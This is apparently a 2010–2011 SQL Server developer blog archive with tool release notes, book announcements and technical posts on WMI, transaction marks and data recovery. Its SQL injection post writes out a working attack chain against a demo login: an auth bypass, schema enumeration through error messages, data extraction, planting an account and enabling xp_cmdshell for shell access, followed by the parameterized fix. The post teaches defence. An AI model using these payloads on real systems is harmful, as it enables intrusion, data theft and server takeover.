|
|
Thursday, December 01, 2011
This version adds support for SQL Server 2012 RC0 and fixes a few bugs with SQL History. Because of the support for regions in SSMS 2012 the regions and debug sections feature has been removed from SSMS Tools Pack for SQL Server 2012. The feature is still available for previous SSMS versions. In other news SSMS Tools Pack has won the SQL Magazine bronze award for best free tool of 2011. You can view all the details at the SQL Server Magazine Award page.
Thanx to all the people who voted for it. I'm glad you all like it and use it with great success. Also I've added a possibility for you to subscribe to email notifications in case the auto-updater doesn't work for you for some reason like being behind a proxy. Enjoy it!
Friday, October 07, 2011
Two years ago 59 SQL Server MVP's came together and helped make one of the best book on SQL Server out there. Each chapter was written by an MVP about a part of SQL Server they loved working with. This resulted in superb quality content and excellent ratings from the readers. To top it off all earnings went to a good cause, the War Child International organization. That book was SQL Server MVP Deep Dives.
This year 63 SQL Server MVPs, me included, decided it was time do repeat the success of the first book.
Let me introduce you the:
SQL Server MVP Deep Dives 2
The topics in 60 chapters are grouped in 5 groups: Architecture, Database Administration, Database Development, Performance Tuning and Optimization, Business Intelligence. They represent over 1000 years of daily experience in various areas of SQL Server. I have contributed chapter 28 in Database Development group titled Getting asynchronous with Service Broker. In it I show you the Service Broker template you can use for secure communication between two or more SQL server instances for whatever purpose you may have. If you haven't heard of Service Broker it's a part of the database engine that enables you to do completely async operations in the database itself or between databases and instances.
The official release of the book will be next week at PASS where there will be 2 slots where most of the authors will be there signing the books you bring. This is also a great opportunity to meet everyone and ask about any problems you may have. So definitely come say hi.
Again we decided on a charity that will be supported by this book. It's called Operation Smile. They provide free surgeries to repair cleft lip, cleft palate and other facial deformities for children around the globe. You can also help them by donating.
You can preorder it on at Manning Publications website or on Amazon. By having it you not only get to learn a lot, improve your skills and have fun but you also help a child have a normal life. If that's not a good cause then I don't know what it is.
Wednesday, September 21, 2011
What better way to end the summer and start those productive autumn days ahead than with a fresh new version of the SSMS Tools Pack.
This is a big release with two new features that are huge productivity boosters.
First new feature are Tab Sessions. Every SQL tab you open is saved every N (default 2) minutes and is stored in a session. This works similar to internet browser sessions. Once you reopen SSMS you can restores your last session with a click of a button. You even get every window connected to the server it was previously connected to. The Tab History Window looks like this:
The second feature is Execution Plan Analyzer. It is designed to quickly help you find costliest operators by a number of properties. If that's not enough you can easily search through the whole execution plan for whatever you like.
And to top it off you can auto analyze the execution plan. The analysis reports various problems the execution plan has and suggests a most common solution. The ultimate purpose of the Execution Plan Analyzer is to make your troubleshooting quicker and easier. It uses a simple user interface that is easy to navigate and is built directly into the execution plan itself. The execution plan analyzer looks like this:
Smaller fixes include a completely redesigned SQL History Search window and various other bug fixes.
You can download the new version 2.0 at the Download page.
For more detailed feature descriptions go to the main Features Page.
Enjoy it!
Friday, July 01, 2011
My MVP rotation came up today and I'm happy to say that I've been renewed for one more year as a SQL Server MVP. Hm…. looks like I'll have to start blogging some more. :)
Monday, March 28, 2011
SQLBits: April 7th - April 9th 2011 in Brighton, UK
Free community event on Saturday (April 9th) with a paid conference day on Friday (April 8th) and a Pre Conference day full of day long seminars (April 7th).
It'll be a huge event with over 800 attendees and over 20 MVPs. I'll be presenting on Saturday April 9th.
SQL in the City: July 15th 2011 in London, UK
One day of free SQL Server training sponsored by Redgate. Other MVP's that'll be presenting there are Steve Jones (website|twitter), Brad McGehee (blog|twitter) and Grant Fritchey (blog|twitter)
At both conferences I'll be presenting about database testing.
In the sessions I'll cover a few things from my book The Red Gate Guide to SQL Server Team based Development like what do we need for testing, how to go about it, what are some of the obstacles we have to overcome, etc…
If you're around there come and say Hi!
Wednesday, February 16, 2011
SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage.
A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text.
SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences.
The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user.
Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability.
1) Concatenating SQL statements on the client by hand
2) Using parameterized stored procedures but passing in parts of SQL statements
As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem.
Concatenating SQL statements on the client
This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL.
In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens.
/* SQL CODE */
/* Users table holds usernames and passwords and is the object of out hacking attempt */
CREATE TABLE Users
(
UserId INT IDENTITY(1, 1) PRIMARY KEY ,
UserName VARCHAR(50) ,
UserPassword NVARCHAR(10)
)
/* Insert 2 users */
INSERT INTO Users(UserName, UserPassword)
SELECT 'User 1', 'MyPwd' UNION ALL
SELECT 'User 2', 'BlaBla'
Vulnerable C# code, followed by a progressive SQL injection attack.
/* .NET C# CODE */
/*
This method checks if a user exists.
It uses SQL concatination on the client,
which is susceptible to SQL injection attacks
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;"))
{
/*
This is the SQL string you usually see with
novice developers. It returns a row if a
user exists and no rows if it doesn't
*/
string sql = "SELECT * FROM Users WHERE UserName = '" + username +
"' AND UserPassword = '" + password + "'";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists != "0";
}
}
}
/*
The SQL injection attack example.
Username inputs should be run one after
the other, to demonstrate the attack pattern.
*/
string username = "User 1";
string password = "MyPwd";
// See if we can even use SQL injection.
// By simply using this we can log into the application
username = "' OR 1=1 --";
// What follows is a step-by-step guessing game designed
// to find out column names used in the query, via the
// error messages. By using GROUP BY we will get
// the column names one by one.
// First try the Id
username = "' GROUP BY Id HAVING 1=1--";
// We get the SQL error: Invalid column name 'Id'.
// From that we know that there's no column named Id.
// Next up is UserID
username = "' GROUP BY Users.UserId HAVING 1=1--";
// AHA! here we get the error: Column 'Users.UserName' is
// invalid in the SELECT list because it is not contained
// in either an aggregate function or the GROUP BY clause.
// We have guessed correctly that there is a column called
// UserId and the error message has kindly informed us of
// a table called Users with a column called UserName
// Now we add UserName to our GROUP BY
username = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";
// We get the same error as before but with a new column
// name, Users.UserPassword
// Repeat this pattern till we have all column names that
// are being return by the query.
// Now we have to get the column data types. One non-string
// data type is all we need to wreck havoc
// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.
// This can be done because we know the number of columns the query returns FROM our previous hacks.
// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.
username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";
// SUM() errors out for UserName and UserPassword columns giving us their data types:
// Error: Operand data type varchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserName) FROM Users--";
// Error: Operand data type nvarchar is invalid for SUM operator.
username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";
// Because we know the Users table structure we can insert our data into it
username = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";
// Next let's get the actual data FROM the tables.
// There are 2 ways you can do this.
// The first is by using MIN on the varchar UserName column and
// getting the data from error messages one by one like this:
username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";
username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";
// we can repeat this method until we get all data one by one
// The second method gives us all data at once and we can use it as soon as we find a non string column
username = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";
// The error we get is:
// Conversion failed when converting the nvarchar value
// '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>
// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>
// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>'
// to data type int.
// We can see that the returned XML contains all table data including our injected user account.
// By using the XML trick we can get any database or server info we wish as long as we have access
// Some examples:
// Get info for all databases
username = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";
// Get info for all tables in master database
username = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";
// If that's not enough here's a way the attacker can gain shell access to your underlying windows server
// This can be done by enabling and using the xp_cmdshell stored procedure
// Enable xp_cmdshell
username = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";
// Create a table to store the values returned by xp_cmdshell
username = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";
// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table
username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";
// return the data via an error message
username = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";
// delete the table to get clean output (this step is optional)
username = "'; DELETE ShellHack; --";
// repeat the upper 3 statements to do other nasty stuff to the windows server
// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error
// To avoid this chunk up the returned XML using paging techniques.
// the username and password params come from the GUI textboxes.
bool userExists = DoesUserExist(username, password );
Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example.
/*
The fixed C# method that doesn't suffer from SQL injection
because it uses parameters.
*/
private bool DoesUserExist(string username, string password)
{
using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;"))
{
//This is the version of the SQL string that should be safe from SQL injection
string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password";
SqlCommand cmd = conn.CreateCommand();
cmd.CommandText = sql;
cmd.CommandType = CommandType.Text;
// adding 2 SQL Parameters solves the SQL injection issue completely
SqlParameter usernameParameter = new SqlParameter();
usernameParameter.ParameterName = "@username";
usernameParameter.DbType = DbType.String;
usernameParameter.Value = username;
cmd.Parameters.Add(usernameParameter);
SqlParameter passwordParameter = new SqlParameter();
passwordParameter.ParameterName = "@password";
passwordParameter.DbType = DbType.String;
passwordParameter.Value = password;
cmd.Parameters.Add(passwordParameter);
cmd.Connection.Open();
DataSet dsResult = new DataSet();
/*
If a user doesn't exist the cmd.ExecuteScalar()
returns null; this is just to simplify the
example; you can use other Execute methods too
*/
string userExists = (cmd.ExecuteScalar() ?? "0").ToString();
return userExists == "1";
}
}
We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place.
Your business is only as valuable as your data. If you lose your data, you lose your business. Period.
Incorrect parameterization in stored procedures
It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else.
This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup.
/*
Create a single master access stored procedure
*/
CREATE PROCEDURE spSingleAccessSproc
(
@select NVARCHAR(500) = '' ,
@tableName NVARCHAR(500) = '' ,
@where NVARCHAR(500) = '1=1' ,
@orderBy NVARCHAR(500) = '1'
)
AS
EXEC('SELECT ' + @select +
' FROM ' + @tableName +
' WHERE ' + @where +
' ORDER BY ' + @orderBy)
GO
/*
Valid use as anticipated by a novice developer
*/
EXEC spSingleAccessSproc @select = '*',
@tableName = 'Users',
@where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = 'UserID'
/*
Malicious use SQL injection
The SQL injection principles are the same as
with SQL string concatenation I described earlier,
so I won't repeat them again here.
*/
EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --',
@tableName = '--Users',
@where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''',
@orderBy = '--UserID'
One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one.
Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.
Tuesday, December 28, 2010
To end the year on a good note this release adds support for SQL Server 2011 (Denali) CTP1 and fixes a few bugs.
Because of the new SSMS shell in SQL 2011 CTP1 the SSMS Tools Pack 1.9.4 doesn't have regions and debug sections functionality for now.
The fixed bugs are:
- A bug that prevented to create insert statements for a database
- A bug that didn't script commas as decimal points correctly for non US settings.
- A bug with searching through grid results.
- A threading bug that sometimes happened when saving Window Content History.
- A bug with Window Connection Coloring throwing an error on startup if a server colors was undefined.
- A bug with changing shortcuts in SSMS for various features.
You can download the new version 1.9.4 here.
Enjoy it!
Tuesday, November 23, 2010
 After about 6 months of work, the new book I've coauthored with Grant Fritchey (Blog|Twitter), Phil Factor (Blog|Twitter) and Alex Kuznetsov (Blog|Twitter) is out. They're all smart folks I talk to online and this book is packed with good ideas backed by years of experience.
The book contains a good deal of information about things you need to think of when doing any kind of multi person database development. Although it's meant for SQL Server, the principles can be applied to any database platform out there. In the book you will find information on: writing readable code, documenting code, source control and change management, deploying code between environments, unit testing, reusing code, searching and refactoring your code base. I've written chapter 5 about Database testing and chapter 11 about SQL Refactoring. In the database testing chapter (chapter 5) I cover why you should test your database, why it is a good idea to have a database access interface composed of stored procedures, views and user defined functions, what and how to test. I talk about how there are many testing methods like black and white box testing, unit and integration testing, error and stress testing and why and how you should do all those. Sometimes you have to convince management to go for testing in the development lifecycle so I give some pointers and tips how to do that. Testing databases is a bit different from testing object oriented code in a way that to have independent unit tests you need to rollback your code after each test. The chapter shows you ways to do this and also how to avoid it. At the end I show how to test various database objects and how to test access to them. In the SQL Refactoring chapter (chapter 11) I cover why refactor and where to even begin refactoring. I also who you a way to achieve a set based mindset to solve SQL problems which is crucial to good SQL set based programming and a few commonly seen problems to refactor. These problems include: using functions on columns in the where clause, SELECT * problems, long stored procedure with many input parameters, one subquery per condition in the select statement, cursors are good for anything problem, using too large data types everywhere and using your data in code for business logic anti-pattern. You can read more about it and download it here: The Red Gate Guide to SQL Server Team-based Development Hope you like it and send me feedback if you wish too.
Tuesday, November 09, 2010
This release adds a great new feature and fixes a few bugs.
The new feature called Window Content History saves the whole text in all all opened SQL windows every N minutes with the default being 30 minutes. This feature fixes the shortcoming of the Query Execution History which is saved only when the query is run. If you're working on a large script and never execute it, the existing Query Execution History wouldn't save it. By contrast the Window Content History saves everything in a .sql file so you can even open it in your SSMS. The Query Execution History and Window Content History files are correlated by the same directory and file name so when you search through the Query Execution History you get to see the whole saved Window Content History for that query. Because Window Content History saves data in simple searchable .sql files there isn't a special search editor built in. It is turned ON by default but despite the built in optimizations for space minimization, be careful to not let it fill your disk. You can see how it looks in the pictures in the feature list.
The fixed bugs are:
- SSMS 2008 R2 slowness reported by few people.
- An object explorer context menu bug where it showed multiple SSMS Tools entries and showed wrong entries for a node.
- A datagrid bug in SQL snippets.
- Ability to read illegal XML characters from log files.
- Fixed the upper limit bug of a saved history text to 5 MB.
- A bug when searching through result sets prevents search.
- A bug with Text formatting erroring out for certain scripts.
- A bug with finding servers where it would return null even though servers existed.
- Run custom scripts objects had a bug where |SchemaName| didn't display the correct table schema for columns. This is fixed. Also |NodeName| and |ObjectName| values now show the same thing.
You can download the new version 1.9.3 here.
Enjoy it!
Thursday, November 04, 2010
WMI is Windows Management Instrumentation infrastructure for managing data and machines. We can access it by using WQL (WMI querying language or SQL for WMI). One thing to remember from the WQL link is that it doesn't support ORDER BY. This means that when you do SELECT * FROM wmiObject, the returned order of the objects is not guaranteed. It can return adapters in different order based on logged-in user, permissions of that user, etc… This is not documented anywhere that I've looked and is derived just from my observations.
To get network adapters we have to query the Win32_NetworkAdapter class. This returns us all network adapters that windows detect, real and virtual ones, however it only supplies IPv4 data. I've tried various methods of combining properties that are common on all systems since Windows XP.
The first thing to do to remove all virtual adapters (like tunneling, WAN miniports, etc…) created by Microsoft. We do this by adding WHERE Manufacturer!='Microsoft' to our WMI query. This greatly narrows the number of adapters we have to work with. Just on my machine it went from 20 adapters to 5. What was left were one real physical Realtek LAN adapter, 2 virtual adapters installed by VMware and 2 virtual adapters installed by VirtualBox.
If you read the Win32_NetworkAdapter help page you'd notice that there's an AdapterType that enumerates various adapter types like LAN or Wireless and AdapterTypeID that gives you the same information as AdapterType only in integer form. The dirty little secret is that these 2 properties don't work. They are both hardcoded, AdapterTypeID to "0" and AdapterType to "Ethernet 802.3". The only exceptions I've seen so far are adapters that have no values at all for the two properties, "RAS Async Adapter" that has values of AdapterType = "Wide Area Network" and AdapterTypeID = "3" and various tunneling adapters that have values of AdapterType = "Tunnel" and AdapterTypeID = "15". In the help docs there isn't even a value for 15. So this property was of no help.
Next property to give hope is NetConnectionId. This is the name of the network connection as it appears in the Control Panel -> Network Connections. Problem is this value is also localized into various languages and can have different names for different connection. So both of these properties don't help and we haven't even started talking about eliminating virtual adapters. Same as the previous one this property was also of no help.
Next two properties I checked were ConfigManagerErrorCode and NetConnectionStatus in hopes of finding disabled and disconnected adapters. If an adapter is enabled but disconnected the ConfigManagerErrorCode = 0 with different NetConnectionStatus. If the adapter is disabled it reports ConfigManagerErrorCode = 22. This looked like a win by using (ConfigManagerErrorCode=0 or ConfigManagerErrorCode=22) in our condition. This way we get enabled (connected and disconnected adapters).
Problem with all of the above properties is that none of them filter out the virtual adapters installed by virtualization software like VMware and VirtualBox.
The last property to give hope is PNPDeviceID. There's an interesting observation about physical and virtual adapters with this property. Every virtual adapter PNPDeviceID starts with "ROOT\". Even VMware and VirtualBox ones. There were some really, really old physical adapters that had PNPDeviceID starting with "ROOT\" but those were in pre win XP era AFAIK. Since my minimum system to check was Windows XP SP2 I didn't have to worry about those.
The only virtual adapter I've seen to not have PNPDeviceID start with "ROOT\" is the RAS Async Adapter for Wide Area Network. But because it is made by Microsoft we've eliminated it with the first condition for the manufacturer. Using the PNPDeviceID has so far proven to be really effective and I've tested it on over 20 different computers of various configurations from Windows XP laptops with wireless and bluetooth cards to virtualized Windows 2008 R2 servers. So far it always worked as expected. I will appreciate you letting me know if you find a configuration where it doesn't work.
Let's see some C# code how to do this:
ManagementObjectSearcher mos = null;
// WHERE Manufacturer!='Microsoft' removes all of the
// Microsoft provided virtual adapters like tunneling, miniports, and Wide Area Network adapters.
mos = new ManagementObjectSearcher(@"SELECT *
FROM Win32_NetworkAdapter
WHERE Manufacturer != 'Microsoft'");
// Trying the ConfigManagerErrorCode and NetConnectionStatus variations
// proved to still not be enough and it returns adapters installed by
// the virtualization software like VMWare and VirtualBox
// ConfigManagerErrorCode = 0 -> Device is working properly. This covers enabled and/or disconnected devices
// ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0 -> Device is disabled and Disconnected.
// Some virtual devices report ConfigManagerErrorCode = 22 (disabled) and some other NetConnectionStatus than 0
mos = new ManagementObjectSearcher(@"SELECT *
FROM Win32_NetworkAdapter
WHERE Manufacturer != 'Microsoft'
AND (ConfigManagerErrorCode = 0
OR (ConfigManagerErrorCode = 22 AND NetConnectionStatus = 0))");
// Final solution with filtering on the Manufacturer and PNPDeviceID not starting with "ROOT\"
// Physical devices have PNPDeviceID starting with "PCI\" or something else besides "ROOT\"
mos = new ManagementObjectSearcher(@"SELECT *
FROM Win32_NetworkAdapter
WHERE Manufacturer != 'Microsoft'
AND NOT PNPDeviceID LIKE 'ROOT\\%'");
// Get the physical adapters and sort them by their index.
// This is needed because they're not sorted by default
IList<ManagementObject> managementObjectList = mos.Get()
.Cast<ManagementObject>()
.OrderBy(p => Convert.ToUInt32(p.Properties["Index"].Value))
.ToList();
// Let's just show all the properties for all physical adapters.
foreach (ManagementObject mo in managementObjectList)
{
foreach (PropertyData pd in mo.Properties)
Console.WriteLine(pd.Name + ": " + (pd.Value ?? "N/A"));
}
That's it. Hope this helps you in some way.
Wednesday, October 20, 2010
We’re all familiar with the ability to restore a database to point in time using the RESTORE WITH STOPAT statement.
But what if we have multiple databases that are accessed from one application or are modifying each other? And over multiple instances? And all databases have different workloads? And we want to restore all of the databases to some known common relative point? The catch here is that this common relative point isn’t the same point in time for all databases. This common relative point in time might be now in DB1, now-1 hour in DB2 and yesterday in DB3. And we don’t know the exact times.
Let me introduce you to Transaction Marks. When we run a marked transaction using the WITH MARK option a flag is set in the transaction log and a row is added to msdb..logmarkhistory table. When restoring a transaction log backup we can restore to either before or after that marked transaction. The best thing is that we don’t even need to have one database modifying another database. All we have to do is use a marked transaction with the same name in different database.
Let’s see how this works with an example. The code comments say what’s going on.
USE master
GO
CREATE DATABASE TestTxMark1
GO
USE TestTxMark1
GO
CREATE TABLE TestTable1
(
ID INT,
VALUE UNIQUEIDENTIFIER
)
-- insert some data into the table so we can have a starting point
INSERT INTO TestTable1
SELECT ROW_NUMBER() OVER(ORDER BY number) AS RN, NULL
FROM master..spt_values
ORDER BY RN
SELECT *
FROM TestTable1
GO
-- TAKE A FULL BACKUP of the databse
BACKUP DATABASE TestTxMark1 TO DISK = 'c:\TestTxMark1.bak'
GO
|
USE master
GO
CREATE DATABASE TestTxMark2
GO
USE TestTxMark2
GO
CREATE TABLE TestTable2
(
ID INT,
VALUE UNIQUEIDENTIFIER
)
-- insert some data into the table so we can have a starting point
INSERT INTO TestTable2
SELECT ROW_NUMBER() OVER(ORDER BY number) AS RN, NEWID()
FROM master..spt_values
ORDER BY RN
SELECT *
FROM TestTable2
GO
-- TAKE A FULL BACKUP of our databse
BACKUP DATABASE TestTxMark2 TO DISK = 'c:\TestTxMark2.bak'
GO
|
-- start a marked transaction that modifies both databases
BEGIN TRAN TxDb WITH MARK
-- update values from NULL to random value
UPDATE TestTable1
SET VALUE = NEWID();
-- update first 100 values from random value
-- to NULL in different DB
UPDATE TestTxMark2.dbo.TestTable2
SET VALUE = NULL
WHERE ID <= 100;
COMMIT
GO
|
-- some time goes by here
-- with various database activity...
|
-- We see two entries for marks in each database.
-- This is just informational and has no bearing on the restore itself.
SELECT * FROM msdb..logmarkhistory
|
 |
USE master
GO
-- create a log backup to restore to mark point
BACKUP LOG TestTxMark1 TO DISK = 'c:\TestTxMark1.trn'
GO
-- drop the database so we can restore it back
DROP DATABASE TestTxMark1
GO
|
USE master
GO
-- create a log backup to restore to mark point
BACKUP LOG TestTxMark2 TO DISK = 'c:\TestTxMark2.trn'
GO
-- drop the database so we can restore it back
DROP DATABASE TestTxMark2
GO
|
-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION
-- restore the full backup
RESTORE DATABASE TestTxMark1
FROM DISK = 'c:\TestTxMark1.bak'
WITH NORECOVERY;
-- restore the log backup to the transaction mark
RESTORE LOG TestTxMark1 FROM DISK = 'c:\TestTxMark1.trn'
WITH RECOVERY,
-- recover to state before the transaction
STOPBEFOREMARK = 'TxDb';
-- recover to state after the transaction
-- STOPATMARK = 'TxDb';
GO
|
-- RESTORE THE DATABASE BACK BEFORE OUR TRANSACTION
-- restore the full backup
RESTORE DATABASE TestTxMark2
FROM DISK = 'c:\TestTxMark2.bak'
WITH NORECOVERY;
-- restore the log backup to the transaction mark
RESTORE LOG TestTxMark2 FROM DISK = 'c:\TestTxMark2.trn'
WITH RECOVERY,
-- recover to state before the transaction
STOPBEFOREMARK = 'TxDb';
-- recover to state after the transaction
-- STOPATMARK = 'TxDb';
GO
|
USE TestTxMark1
-- we restored to time before the transaction
-- so we have NULL values in our table
SELECT * FROM TestTable1
|
USE TestTxMark2
-- we restored to time before the transaction
-- so we DON'T have NULL values in our table
SELECT * FROM TestTable2
|
Transaction marks can be used like a crude sync mechanism for cross database operations. With them we can mark our databases with a common “restore to” point so we know we have a valid state between all databases to restore to.
Tuesday, October 12, 2010
This post is part of the monthly community event called T-SQL Tuesday started by Adam Machanic (blog|twitter) and hosted by someone else each month. This month the host is Sankar Reddy (blog|twitter) and the topic is Misconceptions in SQL Server. You can follow posts for this theme on Twitter by looking at #TSQL2sDay hashtag. Let me start by saying: This code is a crazy hack that is to never be used unless you really, really have to. Really! And I don’t think there’s a time when you would really have to use it for real. Because it’s a hack there are number of things that can go wrong so play with it knowing that. I’ve managed to totally corrupt one database. :) Oh… and for those saying: yeah yeah.. you have a single table in a file group and you’re restoring that, I say “nay nay” to you. As we all know SQL Server can’t do single table restores from backup. This is kind of a obvious thing due to different relational integrity (RI) concerns. Since we have to maintain that we have to restore all tables represented in a RI graph. For this exercise i say BAH! to those concerns. Note that this method “works” only for simple tables that don’t have LOB and off rows data. The code can be expanded to include those but I’ve tried to leave things “simple”. Note that for this to work our table needs to be relatively static data-wise. This doesn’t work for OLTP table. Products are a perfect example of static data. They don’t change much between backups, pretty much everything depends on them and their table is one of those tables that are relatively easy to accidentally delete everything from. This only works if the database is in Full or Bulk-Logged recovery mode for tables where the contents have been deleted or truncated but NOT when a table was dropped. Everything we’ll talk about has to be done before the data pages are reused for other purposes. After deletion or truncation the pages are marked as reusable so you have to act fast. The best thing probably is to put the database into single user mode ASAP while you’re performing this procedure and return it to multi user after you’re done. How do we do it? We will be using an undocumented but known DBCC commands: DBCC PAGE, an undocumented function sys.fn_dblog and a little known DATABASE RESTORE PAGE option. All tests will be on a copy of Production.Product table in AdventureWorks database called Production.Product1 because the original table has FK constraints that prevent us from truncating it for testing. -- create a duplicate table. This doesn't preserve indexes!
SELECT *
INTO AdventureWorks.Production.Product1
FROM AdventureWorks.Production.Product
After we run this code take a full back to perform further testing.
First let’s see what the difference between DELETE and TRUNCATE is when it comes to logging. With DELETE every row deletion is logged in the transaction log. With TRUNCATE only whole data page deallocations are logged in the transaction log. Getting deleted data pages is simple. All we have to look for is row delete entry in the sys.fn_dblog output. But getting data pages that were truncated from the transaction log presents a bit of an interesting problem. I will not go into depths of IAM(Index Allocation Map) and PFS (Page Free Space) pages but suffice to say that every IAM page has intervals that tell us which data pages are allocated for a table and which aren’t. If we deep dive into the sys.fn_dblog output we can see that once you truncate a table all the pages in all the intervals are deallocated and this is shown in the PFS page transaction log entry as deallocation of pages. For every 8 pages in the same extent there is one PFS page row in the transaction log. This row holds information about all 8 pages in CSV format which means we can get to this data with some parsing. A great help for parsing this stuff is Peter Debetta’s handy function dbo.HexStrToVarBin that converts hexadecimal string into a varbinary value that can be easily converted to integer tus giving us a readable page number.
The shortened (columns removed) sys.fn_dblog output for a PFS page with CSV data for 1 extent (8 data pages) looks like this:
-- [Page ID] is displayed in hex format.
-- To convert it to readable int we'll use dbo.HexStrToVarBin function found at
-- http://sqlblog.com/blogs/peter_debetta/archive/2007/03/09/t-sql-convert-hex-string-to-varbinary.aspx
-- This function must be installed in the master database
SELECT Context, AllocUnitName, [Page ID], Description
FROM sys.fn_dblog(NULL, NULL)
WHERE [Current LSN] = '00000031:00000a46:007d'
The pages at the end marked with 0x00—> are pages that are allocated in the extent but are not part of a table.
We can inspect the raw content of each data page with a DBCC PAGE command:
-- we need this trace flag to redirect output to the query window.
DBCC TRACEON (3604);
-- WITH TABLERESULTS gives us data in table format instead of message format
-- we use format option 3 because it's the easiest to read and manipulate further on
DBCC PAGE (AdventureWorks, 1, 613, 3) WITH TABLERESULTS
Since the DBACC PAGE output can be quite extensive I won’t put it here. You can see an example of it in the link at the beginning of this section.
Getting deleted data back
When we run a delete statement every row to be deleted is marked as a ghost record. A background process periodically cleans up those rows. A huge misconception is that the data is actually removed. It’s not. Only the pointers to the rows are removed while the data itself is still on the data page. We just can’t access it with normal means. To get those pointers back we need to restore every deleted page using the RESTORE PAGE option mentioned above. This restore must be done from a full backup, followed by any differential and log backups that you may have. This is necessary to bring the pages up to the same point in time as the rest of the data. However the restore doesn’t magically connect the restored page back to the original table. It simply replaces the current page with the one from the backup. After the restore we use the DBCC PAGE to read data directly from all data pages and insert that data into a temporary table. To finish the RESTORE PAGE procedure we finally have to take a tail log backup (simple backup of the transaction log) and restore it back. We can now insert data from the temporary table to our original table by hand.
Getting truncated data back
When we run a truncate the truncated data pages aren’t touched at all. Even the pointers to rows stay unchanged. Because of this getting data back from truncated table is simple. we just have to find out which pages belonged to our table and use DBCC PAGE to read data off of them. No restore is necessary. Turns out that the problems we had with finding the data pages is alleviated by not having to do a RESTORE PAGE procedure.
Stop stalling… show me The Code!
This is the code for getting back deleted and truncated data back. It’s commented in all the right places so don’t be afraid to take a closer look. Make sure you have a full backup before trying this out. Also I suggest that the last step of backing and restoring the tail log is performed by hand.
USE master
GO
IF OBJECT_ID('dbo.HexStrToVarBin') IS NULL
